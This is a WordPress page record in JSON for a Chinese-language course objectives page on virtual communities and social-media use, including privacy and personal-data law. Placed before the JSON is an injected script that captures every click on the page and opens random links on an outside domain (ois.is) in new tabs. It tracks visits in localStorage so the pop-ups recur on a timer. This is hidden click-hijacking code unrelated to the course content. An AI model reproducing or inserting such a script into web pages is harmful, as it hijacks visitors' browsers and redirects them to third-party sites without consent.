<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1493,"date":"2020-02-26T15:01:32","date_gmt":"2020-02-26T07:01:32","guid":{"rendered":"http:\/\/edu.secda.info\/chewei_course8\/?page_id=1493"},"modified":"2021-06-17T18:13:28","modified_gmt":"2021-06-17T10:13:28","slug":"%e5%ad%b8%e7%bf%92%e7%9b%ae%e6%a8%99","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/chewei_course8\/?page_id=1493","title":{"rendered":"\u5b78\u7fd2\u76ee\u6a19"},"content":{"rendered":"<p><span style=\"color: #ff0000; font-size: 12pt;\"><strong>\u8ab2\u7a0b\u6982\u8981<\/strong><\/span><br \/>\n<span style=\"font-size: 12pt;\">\u865b\u64ec\u793e\u7fa4\u662f\u4e00\u7fa4\u4eba\u5728\u7db2\u8def\u4e0a\u5f9e\u4e8b\u516c\u773e\u8a0e\u8ad6\uff0c\u7d93\u904e\u4e00\u6bb5\u6642\u9593\uff0c\u5f7c\u6b64\u64c1\u6709\u8db3\u5920\u7684\u60c5\u611f\u5f8c\uff0c\u6240\u5f62\u6210\u4eba\u969b\u95dc\u4fc2\u7684\u7db2\u8def\u3002Rheingold\uff082000\uff09\u8a8d\u70ba\u865b\u64ec\u793e\u7fa4\u662f\u4e00\u7a2e\u65b0\u578b\u7684\u793e\u6703\u7d44\u7e54\uff0c\u4e26\u6709\u4ee5\u4e0b\u56db\u7a2e\u7279\u8cea\uff1a1.\u8868\u9054\u7684\u81ea\u7531\uff1b2.\u7f3a\u4e4f\u96c6\u4e2d\u7684\u63a7\u5236\uff1b3.\u591a\u5c0d\u591a\u7684\u50b3\u64ad\uff1b4.\u6210\u54e1\u51fa\u65bc\u81ea\u9858\u7684\u884c\u70ba\u3002\u865b\u64ec\u793e\u7fa4\u7684\u5f62\u5f0f\u5305\u62ec\u4e86\u65e9\u671f\u7684\u96fb\u5b50\u4f48\u544a\u6b04\u3001\u8a0e\u8ad6\u5340\u3001MUD\uff0c\u6216\u662f\u8fd1\u671f\u624d\u51fa\u73fe\u7684\u90e8\u843d\u683c\u3001\u7dad\u57fa\u767e\u79d1\u3002\u865b\u64ec\u793e\u7fa4\u7684\u6797\u7acb\uff0c\u4ee5Web2.0\u6240\u5f37\u8abf\u4f7f\u7528\u8005\u70ba\u4e2d\u5fc3\u7684\u6982\u5ff5\uff0c\u900f\u904e\u793e\u7fa4\u6210\u54e1\u5f7c\u6b64\u7684\u5206\u4eab\u8207\u5171\u5275\uff0c\u4f7f\u5f97\u4eba\u4eba\u7686\u53ef\u5728\u7db2\u8def\u5a92\u9ad4\u767c\u8072\u3002\u4eba\u5011\u901a\u904e\u7db2\u969b\u7db2\u8def\u6280\u8853\uff0c\u5728\u7db2\u4e0a\u805a\u773e\uff0c\u767c\u8868\u6587\u7ae0\u3001\u7db2\u4e0a\u65e5\u8a8c\u3001\u76f8\u7247\u3001\u9304\u50cf\u5206\u4eab\uff0c\u4e92\u76f8\u5f71\u97ff\u8457\u73fe\u5be6\u751f\u6d3b\u4e2d\u4eba\u5011\u7684\u601d\u60f3\u3001\u610f\u8b58\u3001\u6587\u5316\u3001\u6027\u50be\u5411\u7b49\u3002<\/span><\/p>\n<p><span style=\"font-size: 12pt;\"><strong><span style=\"color: #ff0000;\">\u6559\u5b78\u76ee\u6a19<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 14pt;\"><span style=\"font-size: 12pt;\">\u900f\u904e\u793e\u7fa4\u5a92\u9ad4\u8a66\u8b80\u8ab2\u7a0b\uff0c\u4e3b\u8981\u662f\u6559\u5c0e\u540c\u5b78\u5728\u793e\u7fa4\u7db2\u8def\u5de5\u5177\u4f7f\u7528\u8207\u50b3\u64ad\uff0c\u5728\u5c0e\u8b80\u904e\u7a0b\u4e2d\u4e5f\u8b93\u540c\u5b78\u77e5\u9053\u7db2\u8def\u8cc7\u8a0a\u5b89\u5168\u3001\u96b1\u79c1\u6b0a\u3001\u500b\u8cc7\u6cd5\u7b49\u76f8\u95dc\u8b70\u984c\uff0c\u8b93\u540c\u5b78\u5728\u4f7f\u7528\u5de5\u5177\u6642\uff0c\u4e0d\u89f8\u72af\u6cd5\u5f8b\u3002<\/span> <\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u8ab2\u7a0b\u6982\u8981 \u865b\u64ec\u793e\u7fa4\u662f\u4e00\u7fa4\u4eba\u5728\u7db2\u8def\u4e0a\u5f9e\u4e8b\u516c\u773e\u8a0e\u8ad6\uff0c\u7d93\u904e\u4e00\u6bb5\u6642\u9593\uff0c\u5f7c\u6b64\u64c1\u6709\u8db3\u5920\u7684\u60c5\u611f<\/p>\n","protected":false},"author":6,"featured_media":0,"parent":1463,"menu_order":1,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages\/1493"}],"collection":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1493"}],"version-history":[{"count":7,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages\/1493\/revisions"}],"predecessor-version":[{"id":1713,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages\/1493\/revisions\/1713"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages\/1463"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1493"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}